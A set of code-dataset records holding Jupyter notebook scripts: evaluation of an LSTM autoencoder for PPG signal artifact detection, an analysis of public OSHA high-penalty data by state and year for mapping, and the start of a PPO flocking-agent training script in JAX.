outputId=\"302c820b-471a-4dfe-f4b3-ba92b1de2391\"\nprint(validation_set_predictions.shape)\nprint(X_val_ae_features.shape)\n\n# + id=\"ribWkzWeSpWQ\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"9a8a6d84-d3af-4952-fbe0-cd85a78a8631\"\nval_preds = validation_set_predictions.reshape(validation_set_predictions.shape[0],np.prod(validation_set_predictions.shape[1:]))\nprint(val_preds.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"BEeRRxqOwpBQ\" outputId=\"2aaca2b1-ac8c-4304-a3d2-446b34ed0807\"\nmse=np.mean(np.power(X_val_ae_features.reshape(X_val_ae_features.shape[0],np.prod(X_val_ae_features.shape[1:]))-val_preds,2),axis=1)\nprint(mse.shape)\n\n# + id=\"SpkVLmWpw1RG\"\nvalidation_set_outputs=np.zeros(len(val_preds))\nvalidation_set_outputs[np.where(mse>=threshold)]=1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"uKo_tgfv2m1T\" outputId=\"91cafd6b-0e9f-4d2d-a5da-69540a2b4e85\"\nunique, counts = np.unique(validation_set_outputs, return_counts=True)\ndict(zip(unique, counts))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"dNghJQeI4CAx\" outputId=\"8758611c-743d-4554-fc15-e54ae1c7ccf0\"\nunique, counts = np.unique(Y_val_ae, return_counts=True)\ndict(zip(unique, counts))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 300} id=\"dNWeejAu2ZBL\" outputId=\"a46d5d70-d8f8-441e-b725-e8776fd5fba8\"\nerror_df=pd.DataFrame({'reconstruction_error':mse,'true_class':Y_val_ae})\nerror_df.describe()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"KXb9bT364Pz1\" outputId=\"1cbb16da-6b71-474a-b59e-c04e5f3731d5\"\n# Rec error of clean signals\nperc =[.01,.02,.03,.05,.07,.10,.15,.25, .50,.55,.60,.65,.70, .75,.76,.78,.80,.85,.86,.87,.88, .90, .95, .98, .99,.995,.998,.999,.9995]\nprint(error_df[\"reconstruction_error\"][(error_df['true_class']==0)].describe(percentiles = perc))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"4WiJjKz_4SZt\" outputId=\"0a99629a-d0ec-4d5e-aac9-611d4185f8c8\"\n# Rec error of noisy signals\nprint(error_df[\"reconstruction_error\"][(error_df['true_class']==1)].describe(percentiles = perc))\n\n# + [markdown] id=\"P5IH92zIxzEv\"\n# ### Evaluation\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 532} id=\"ct5XHcSAw7B6\" outputId=\"8532ebb2-6614-49e4-a352-3574acc000b3\"\n#Rec error without anomaly\nfig = plt.figure()\nax=fig.add_subplot(111)\nnormal_error_df=error_df[(error_df['true_class']==0)]\n_ = ax.hist(normal_error_df.reconstruction_error.values,bins=50)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 532} id=\"J489YJOwxHqn\" outputId=\"4d039a06-0c82-4c53-a745-be1e7c55cf28\"\n#Rec error with anomaly\nfig = plt.figure()\nax=fig.add_subplot(111)\nfraud_error_df=error_df[(error_df['true_class']==1)]\n_ = ax.hist(fraud_error_df.reconstruction_error.values,bins=50)\n\n# + id=\"oQBJWqN-xlNt\"\nfrom sklearn.metrics import (confusion_matrix, precision_recall_curve, auc,accuracy_score,precision_score,\n roc_curve, recall_score, classification_report, f1_score,\n precision_recall_fscore_support)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 602} id=\"NR5STxV4x4xL\" outputId=\"b8874916-93a9-45f3-b0d5-7a34da2f3781\"\n#Precision recall ROC\nfpr, tpr, thresholds = roc_curve(error_df.true_class, error_df.reconstruction_error)\nroc_auc = auc(fpr, tpr)\n\nplt.title('Receiver Operating Characteristic', fontsize=10, fontweight='bold',pad=20)\nplt.plot(fpr, tpr, linewidth=4, label='AUC = %0.4f'% roc_auc)\nplt.legend(loc='lower right', prop={'size': 10})\nplt.plot([0,1],[0,1],'r--', linewidth=2)\nplt.xlim([-0.001, 1])\nplt.ylim([0, 1.001])\nplt.ylabel('True Positive Rate', fontsize=10, fontweight='bold',labelpad=10)\nplt.xlabel('False Positive Rate', fontsize=10, fontweight='bold',labelpad=10)\nplt.rcParams['xtick.labelsize']=8\nplt.rcParams['ytick.labelsize']=8\nplt.grid()\nplt.tight_layout()\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 631} id=\"DvtgBBs3ylBN\" outputId=\"2bf6ead4-6379-4e9a-830b-8c9693236637\"\nprecision, recall, th = precision_recall_curve(error_df.true_class, error_df.reconstruction_error)\nplt.plot(recall, precision, linewidth=4)\nplt.title('Precision-Recall', fontsize=10,fontweight='bold',pad=20)\nplt.grid()\nplt.ylabel('Precision', fontsize=10, fontweight='bold',labelpad=10)\nplt.xlabel('Recall', fontsize=10, fontweight='bold',labelpad=10)\nplt.rcParams['xtick.labelsize']=8\nplt.rcParams['ytick.labelsize']=8\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 631} id=\"15t5ZxnbghpF\" outputId=\"8803ab94-9402-419e-f288-98df8073b6c4\"\nplt.plot(th, recall[:-1], linewidth=4)\nplt.title('Recall-Threshold', fontsize=10,fontweight='bold',pad=20)\nplt.grid()\nplt.ylabel('Recall', fontsize=10, fontweight='bold',labelpad=10)\nplt.xlabel('Threshold', fontsize=10, fontweight='bold',labelpad=10)\nplt.rcParams['xtick.labelsize']=8\nplt.rcParams['ytick.labelsize']=8\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 631} id=\"6nZxdFyNg60w\" outputId=\"09d70090-b064-4c2d-998e-913a73b3105f\"\nplt.plot(th, precision[:-1], linewidth=4)\nplt.title('Precision-Threshold', fontsize=10,fontweight='bold',pad=20)\nplt.grid()\nplt.ylabel('Precision', fontsize=10, fontweight='bold',labelpad=10)\nplt.xlabel('Threshold', fontsize=10, fontweight='bold',labelpad=10)\nplt.rcParams['xtick.labelsize']=8\nplt.rcParams['ytick.labelsize']=8\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Y3jiwYRnhEZA\" outputId=\"44b3c8e2-7ad9-4b8e-ee52-13a9c0ca3c63\"\nprint(th[np.where((recall[:-1]>0.78) & (precision[:-1]>0.65))])\n\n# + id=\"3gOxHkcdNpVB\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 726} outputId=\"7e67f1fd-f7cc-4acc-bee4-2adaf3f0b4ea\"\nimport itertools\n#Plotting confusion matrix\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Greys):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n \n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title, fontsize=10 ,fontweight='bold',pad=20)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45, fontsize=13)\n plt.yticks(tick_marks, classes, fontsize=13)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\", fontsize=23, fontweight='bold',\n color=\"red\" if cm[i, j] > thresh else \"blue\")\n\n plt.tight_layout()\n plt.ylabel('True label', fontsize=23, fontweight='bold')\n plt.xlabel('Predicted label', fontsize=23, fontweight='bold')\nc = confusion_matrix(Y_val_ae,validation_set_outputs)\nplot_confusion_matrix(c,[\"Clean\",\"Artifacts\"])\n\n\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import f1_score\n\n# accuracy: (tp + tn) / (p + n)\naccuracy = accuracy_score(Y_val_ae, validation_set_outputs)\nprint('Accuracy: %f' % accuracy)\n# precision tp / (tp + fp)\nprecision = precision_score(Y_val_ae, validation_set_outputs)\nprint('Precision: %f' % precision)\n# recall: tp / (tp + fn)\nrecall = recall_score(Y_val_ae, validation_set_outputs)\nprint('Recall: %f' % recall)\n# f1: 2 tp / (2 tp + fp + fn)\nf1 = f1_score(Y_val_ae, validation_set_outputs)\nprint('F1 score: %f' % f1)\n\n# + [markdown] id=\"GjAIU4Zchq_B\"\n# ### Testing the model on the testing set\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"gydmxB5fHU0Y\" outputId=\"dae24a28-7a77-4756-8678-6bf929460ffd\"\nprint(X_test_features.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FWS1gBLYhyNT\" outputId=\"6f7a73e1-cb87-48b8-f728-3b487610d56d\"\ntesting_set_predictions=model.predict(X_test_features)\nprint(testing_set_predictions.shape)\nprint(\"X_test_features \",X_test_features.shape)\ntest_preds = testing_set_predictions.reshape(testing_set_predictions.shape[0],np.prod(testing_set_predictions.shape[1:]))\nprint(\"test_preds \", test_preds.shape)\nmse=np.mean(np.power(X_test_features.reshape(X_test_features.shape[0],np.prod(X_test_features.shape[1:]))-test_preds,2),axis=1)\nprint(\"mse \", mse.shape)\ntesting_set_outputs=np.zeros(len(test_preds))\ntesting_set_outputs[np.where(mse>=threshold)]=1\nprint(\"testing_set_outputs \", testing_set_outputs.shape)\n\n\n# + id=\"_s2H-4GikrkU\"\nplt.rcParams['figure.dpi'] = 150\nplt.rcParams['savefig.dpi'] = 150\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 533} id=\"XQz2LUrSipjZ\" outputId=\"f943ffe7-50fc-4b4a-8550-7c28a516ea7d\"\nsignal = X_test[:20,:,:].flatten()\nj=0\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 534} id=\"nR8oJglpjgjn\" outputId=\"b6bdd9cf-1c1c-4b6e-9848-eaf41ef0d3e8\"\nsignal = X_test[20:40,:,:].flatten()\nj=20\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 534} id=\"ZtJ3W2H8k7hd\" outputId=\"d971b5c5-ee76-4f1f-d081-865984bd4b33\"\nsignal = X_test[40:60,:,:].flatten()\nj=40\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 532} id=\"lUbkh1ZHlA-f\" outputId=\"e5c1f156-994e-4df4-d894-431e8c3b46f1\"\nsignal = X_test[60:80,:,:].flatten()\nj=60\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 532} id=\"GPa5yyLXlQIN\" outputId=\"07aa2199-8bba-4a20-a760-fe92d637a649\"\nsignal = X_test[80:90,:,:].flatten()\nj=80\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 534} id=\"4C32TOz0lVyJ\" outputId=\"ed5f7fd4-14f8-47ee-a3f4-50b5c8708d2f\"\nsignal = X_test[90:100,:,:].flatten()\nj=90\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 538} id=\"iMeXuT1YlePe\" outputId=\"b9267383-578f-45d1-ac73-b8127b7b97fb\"\nsignal = X_test[100:115,:,:].flatten()\nj=100\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + [markdown] id=\"ZipA9SlFllAy\"\n# Many false positives in the above two figures!\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 533} id=\"Y0izoae1lKgj\" outputId=\"d48b9443-8beb-4edc-8b50-d7cba754164d\"\nsignal = X_test[115:130,:,:].flatten()\nj=115\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 533} id=\"EGQMF_VIlv7A\" outputId=\"110e0d94-c289-4d28-b8fd-efd5ab720922\"\nsignal = X_test[130:150,:,:].flatten()\nj=130\nfor i in range(0,len(signal),X_test.shape[1]):\n if testing_set_outputs[j] == 0:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"green\")\n else:\n plt.plot(list(range(i,i+X_test.shape[1],1)),X_test[j,:,:].flatten(),color=\"red\")\n j+=1\nplt.show()\n\n# + id=\"k2DVdL3Tlz-8\"\n\n","repo_name":"josephazar/Photoplethysmogram-Artifacts-Filtering","sub_path":"ppg_denoising_lstmae.ipynb","file_name":"ppg_denoising_lstmae.ipynb","file_ext":"py","file_size_in_byte":41655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"27682693453","text":"import requests\n\nfrom bs4 import BeautifulSoup\n\n#Let's try working with OSHA Covid fatality data to get the cities with the most Covid-19 fatalities with a violation.\nrequests.get(\"https://www.osha.gov/fatalities/covid-19\")\n\n# +\n#Blocked. I can't find an undocumented API, either.\n#Let's use the same data set from my previous project — OSHA data of penalties with fines of $40,000 or more:\n\n#Got this from the cURL converter.\nimport requests\n\ncookies = {\n '_ga': 'GA1.2.1221182387.1689314175',\n '_gat_GSA_ENOR0': '1',\n '_gat_GSA_ENOR1': '1',\n '_gid': 'GA1.2.1390347906.1689979681',\n}\n\nheaders = {\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n # 'Cookie': '_ga=GA1.2.1221182387.1689314175; _gat_GSA_ENOR0=1; _gat_GSA_ENOR1=1; _gid=GA1.2.1390347906.1689979681',\n 'Accept-Language': 'en-US,en;q=0.9',\n 'If-None-Match': '\"64bb0974-247ec5\"',\n 'Host': 'www.osha.gov',\n 'If-Modified-Since': 'Fri, 21 Jul 2023 22:40:52 GMT',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15',\n 'Referer': 'https://www.osha.gov/enforcement/toppenalties/bystate',\n # 'Accept-Encoding': 'gzip, deflate, br',\n 'Connection': 'keep-alive',\n 'X-Requested-With': 'XMLHttpRequest',\n}\n\nresponse = requests.get(\n 'https://www.osha.gov/sites/default/files/json/enforcement-cases/data-set.json',\n cookies=cookies,\n headers=headers,\n)\n# -\n\nimport json\ndata = response.json()\n\nimport pandas as pd\ndf = pd.DataFrame(data)\n\ndf.head()\n\n# +\n#Let's merge the top 5 employers' names that are identical:\nemployers_list_fixed = []\n\nfor cell in df['employer']:\n if \"Dollar Tree\" in cell.strip().title() or \"Family Dollar\" in cell.strip().title():\n cell_dt = cell.replace(cell, \"Dollar Tree/Family Dollar (similar names merged)\")\n employers_list_fixed.append(cell_dt)\n elif \"Dollar General\" in cell.strip().title() or \"Dolgencorp\" in cell.strip().title():\n cell_dg = cell.replace(cell, \"Dollar General (similar names merged)\")\n employers_list_fixed.append(cell_dg)\n elif \"Postal Service\" in cell.strip().title():\n cell_ps = cell.replace(cell, \"U.S. Postal Service (similar names merged)\")\n employers_list_fixed.append(cell_ps)\n elif \"Target\" in cell.strip().title():\n cell_tgt = cell.replace(cell, \"Target (similar names merged)\")\n employers_list_fixed.append(cell_tgt)\n elif \"Kaiser\" in cell.strip().title():\n cell_ksr = cell.replace(cell, \"Kaiser (similar names merged)\")\n employers_list_fixed.append(cell_ksr)\n else:\n employers_list_fixed.append(cell)\n# -\n\ndf['employers_fixed'] = employers_list_fixed\n\ndf[df['employers_fixed'] == \"Target (similar names merged)\"]\n\ndf.loc[10503, 'employers_fixed'] = 'Kaiser Aluminum & Fabricated Products, LLC'\n\ndf['Year'] = df['issuance_date'].str.replace(r\"^\\d\\d/\\d\\d/(\\d{4})\", r\"\\1\", regex=True).astype(int)\n\n# +\n#OK, now I have a somewhat clean data set.\n#For this project, I want to make a scrollytelling map.\n#Let's play around with the location data a bit.\n# -\n\ndf.head()\n\n# +\n#df[\"Year\"][df[\"employers_fixed\"] == \"Dollar Tree/Family Dollar (similar names merged)\"].value_counts()\n# -\n\n#Here's the code to use multiple filters for any column to figure out what occurred the most.\n#e.g., Let's say we want to find out in which state Dollar General had the most violations for each year:\nprint(df[\"state\"][(df[\"Year\"] == 2015) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2016) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2027) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2018) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2019) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2020) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2021) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2022) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\nprint(df[\"state\"][(df[\"Year\"] == 2023) &\n (df[\"employers_fixed\"] == \"Dollar General (similar names merged)\")].value_counts())\n\n# +\n#Let's try to look for a better outlier.\n#What city had the most violations in 2022? And what companies were most responsible?\n\n\ndf[\"city\"][(df[\"Year\"] == 2022)].value_counts().head()\n# -\n\n#It was Houston. Which employer had the most of these penalties?\ndf[\"employers_fixed\"][\n (df[\"Year\"] == 2022) &\n (df[\"city\"] == \"HOUSTON\")].value_counts()\n\n#Damn, no company had more than one penalty. Let's look at cities per year and states per year. Cities:\nprint(df[\"city\"][(df[\"Year\"] == 2015)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2016)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2017)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2018)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2019)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2020)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2021)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2022)].value_counts().head())\nprint(df[\"city\"][(df[\"Year\"] == 2023)].value_counts().head())\n\n#Here are the states with the most incidents per year. Are there any cities that are seeing a rapid increase that\n#outpaces other states' rates of increase? If so, perhaps I can look up the state to see if a labor regulation\n#changed.\nprint(df[\"state\"][(df[\"Year\"] == 2015)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2016)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2017)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2018)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2019)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2020)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2021)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2022)].value_counts().head(10))\nprint(df[\"state\"][(df[\"Year\"] == 2023)].value_counts().head(10))\n\n# +\n#Here's an interesting thing: Why did California's drop so greatly last year?\n#Let's see if we can find out via the data:\n\n# +\nprint(df[\"employers_fixed\"][(df[\"Year\"] == 2022) &\n (df[\"state\"] == \"CA\")].value_counts())\n\n#Nope — no one company was responsible, it seems (unless there's a parent company I'm not\n#accounting for.)\n\n# +\n#You know what? Let's take the state data and plot it roughly to look for outliers.\n# -\n\n#Here's the code to make the DF once we have the data ready.\npd.DataFrame({\n \"Year\": [2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023],\n \"CA\" : [1, 2, 3, 4, 5, 6, 7, 8, 9],\n})\n\ndf_2015 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2015)].value_counts()\n)\n\ndf_2016 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2016)].value_counts()\n)\n\ndf_2015.merge(df_2016,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\").head()\n\n# +\n#Let's check that that worked.\n# -\n\npd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2015)].value_counts()\n).head()\n\npd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2016)].value_counts()\n).head()\n\n# +\n#OK, let's merge 'em all:\n\nmerge1 = df_2015.merge(df_2016,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n# -\n\n#Let's also check that it'll eventually be in the right format to merge with the initial \"Year\" df:\nmerge1.transpose()\n\n#Oh, first we have to make the df for each year:\ndf_2017 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2017)].value_counts()\n)\ndf_2018 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2018)].value_counts()\n)\ndf_2019 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2019)].value_counts()\n)\ndf_2020 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2020)].value_counts()\n)\ndf_2021 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2021)].value_counts()\n)\ndf_2022 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2022)].value_counts()\n)\ndf_2023 = pd.DataFrame(\n df[\"state\"][(df[\"Year\"] == 2023)].value_counts()\n)\n\n# +\n#OK, time to continue merging them:\n\nmerge2 = merge1.merge(df_2017,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n# -\n\nmerge3 = merge2.merge(df_2018,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\n# +\n#Shit. I think it has to do with the number of states varying. Let's check 'em.\n# -\n\nprint(len(df_2015))\nprint(len(df_2016))\nprint(len(df_2017))\nprint(len(df_2018))\nprint(len(df_2019))\nprint(len(df_2020))\nprint(len(df_2021))\nprint(len(df_2022))\nprint(len(df_2023))\n\n# +\n#fuck\n# -\n\nprint(df_2015.reset_index()[\"state\"].value_counts().head())\nprint(df_2016.reset_index()[\"state\"].value_counts().head())\nprint(df_2017.reset_index()[\"state\"].value_counts().head())\nprint(df_2018.reset_index()[\"state\"].value_counts().head())\nprint(df_2019.reset_index()[\"state\"].value_counts().head())\nprint(df_2020.reset_index()[\"state\"].value_counts().head())\nprint(df_2021.reset_index()[\"state\"].value_counts().head())\nprint(df_2022.reset_index()[\"state\"].value_counts().head())\nprint(df_2023.reset_index()[\"state\"].value_counts().head())\n\n# +\n#OK, the variation in the number of states is *not* because of something getting repeated.\n\n# +\n#OH, I think I know why I'm getting the merge error. This happened two projects ago.\n#I think I need to rename the columns.\n# -\n\nmerge2.head()\n\nmerge2 = merge2.rename(columns={'count_x' : 2015, 'count_y' : 2016, 'count' : 2017})\n\nmerge3 = merge2.merge(df_2018,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\nmerge4 = merge3.merge(df_2019,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\nmerge5 = merge4.merge(df_2020,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\nmerge5 = merge5.rename(columns={'count_x' : 2018, 'count_y' : 2019, 'count' : 2020})\n\nmerge6 = merge5.merge(df_2021,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\nmerge7 = merge6.merge(df_2022,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\nmerge8 = merge7.merge(df_2023,\n left_on=\"state\",\n right_on=\"state\",\n how=\"left\")\n\nmerge8 = merge8.rename(columns={'count_x' : 2021, 'count_y' : 2022, 'count' : 2023})\n\ndf_states = merge8.transpose().reset_index().rename(columns={\"index\" : \"Year\"})\n\ndf_states\n#Let's fix the index\n\n# +\n#Tried multiple things and deleted them. It's taking too long. Moving on.\n# -\n\ndf_states.to_csv('lede_project-4_csv-for-line-chart-test.csv')\n\n# +\n#Checked it in Flourish. It turned out too clustered. Let's get straight to the map for now.\n# -\n\ndf_states_not_transposed = merge8.reset_index().rename(columns={\"index\" : \"Year\"})\n\ndf_states_not_transposed.head()\n\n# +\n#To get to the mapping quicker, I'm going to fix isolate it year by year in Google Sheets\n# -\n\ndf_states_not_transposed.to_csv('lede_project-4_for-map.csv', index=False)\n\n# +\n#OK, I made two maps.\n#I think I want a line chart of the number of high-fine penalties per year.\n# -\n\nprint(len(df[df[\"Year\"] == 2015]))\nprint(len(df[df[\"Year\"] == 2016]))\nprint(len(df[df[\"Year\"] == 2017]))\nprint(len(df[df[\"Year\"] == 2018]))\nprint(len(df[df[\"Year\"] == 2019]))\nprint(len(df[df[\"Year\"] == 2020]))\nprint(len(df[df[\"Year\"] == 2021]))\nprint(len(df[df[\"Year\"] == 2022]))\n\ndf_ez_linechart = pd.DataFrame({\n 2015: [995, 320.738994],\n 2016: [1218, 323.071755],\n 2017: [1467, 325.122128],\n 2018: [1523, 326.838199],\n 2019: [1576, 328.329953],\n 2020: [1166, 331.511512],\n 2021: [1305, 332.031554],\n 2022: [1524, 333.287557]\n}).transpose().reset_index().rename(columns={\"index\" : \"Year\", 0 : \"Penalties\", 1 : \"Population (millions)\"})\n\ndf_ez_linechart\n\ndf_ez_linechart[\"Penalties per million residents\"] = (df_ez_linechart[\"Penalties\"]/df_ez_linechart[\"Population (millions)\"]).round(1)\n\ndf_ez_linechart\n\ndf_ez_linechart_accountingforpop = df_ez_linechart.drop(columns=[\"Penalties\", \"Population (millions)\"])\n\ndf_ez_linechart_accountingforpop\n\ndf_ez_linechart_accountingforpop.to_csv(\"df_ez_linechart_accountingforpop.csv\", index=False)\n\n\n","repo_name":"davidmhorowitz/Lede_Project-4_OSHA_Penalty_Mapping","sub_path":"Lede_Project-4_OSHA_Notebook.ipynb","file_name":"Lede_Project-4_OSHA_Notebook.ipynb","file_ext":"py","file_size_in_byte":12533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"18362771584","text":"import jax\nimport jax.numpy as jnp\nimport jax_ppo\nimport matplotlib.pyplot as plt\nimport optax\n\nimport flock_env\n\nk = jax.random.PRNGKey(101)\n\n# ## Hyper-Parameters\n\nn_agents = 20\nn_train = 1_500\nn_train_env = 32\nn_test_env = 5\nn_env_steps = 200\nn_train_epochs = 2\nmini_batch_size = 256\n\n# ## Training Environment\n\nenv = flock_env.SimpleFlockEnv(\n reward_func=flock_env.rewards.exponential_rewards, n_agents=n_agents\n)\nenv_params = env.default_params\n\nn_steps = n_train * n_train_env * n_env_steps * n_train_epochs // mini_batch_size\n\n# ## PPO Agent\n\nparams = jax_ppo.default_params._replace(\n gamma=0.99, \n gae_lambda=0.99, \n entropy_coeff=0.002, \n adam_eps=1e-8, \n clip_coeff=0.2\n)\n\ntrain_schedule = optax.linear_schedule(2e-3, 2e-5, n_steps)\n\nk, agent = jax_ppo.init_agent(\n k,\n params,\n env.action_space(env_params).shape,\n env.observation_space(env_params).shape,\n train_schedule,\n layer_width=16,\n)\n\n# ## Train Agent\n\nk, trained_agent, losses, state_ts, rewards, _ = jax_ppo.train(\n k,\n env,\n env_params,\n agent,\n n_train,\n n_train_env,\n n_train_epochs,\n mini_batch_size,\n n_test_env,\n params,\n greedy_test_policy=True,\n n_env_steps=n_env_steps,\n n_agents=n_agents,\n)\n\nplt.plot(jnp.mean(jnp.sum(rewards, axis=(2, 3)), axis=1));\nplt.xlabel(\"Train 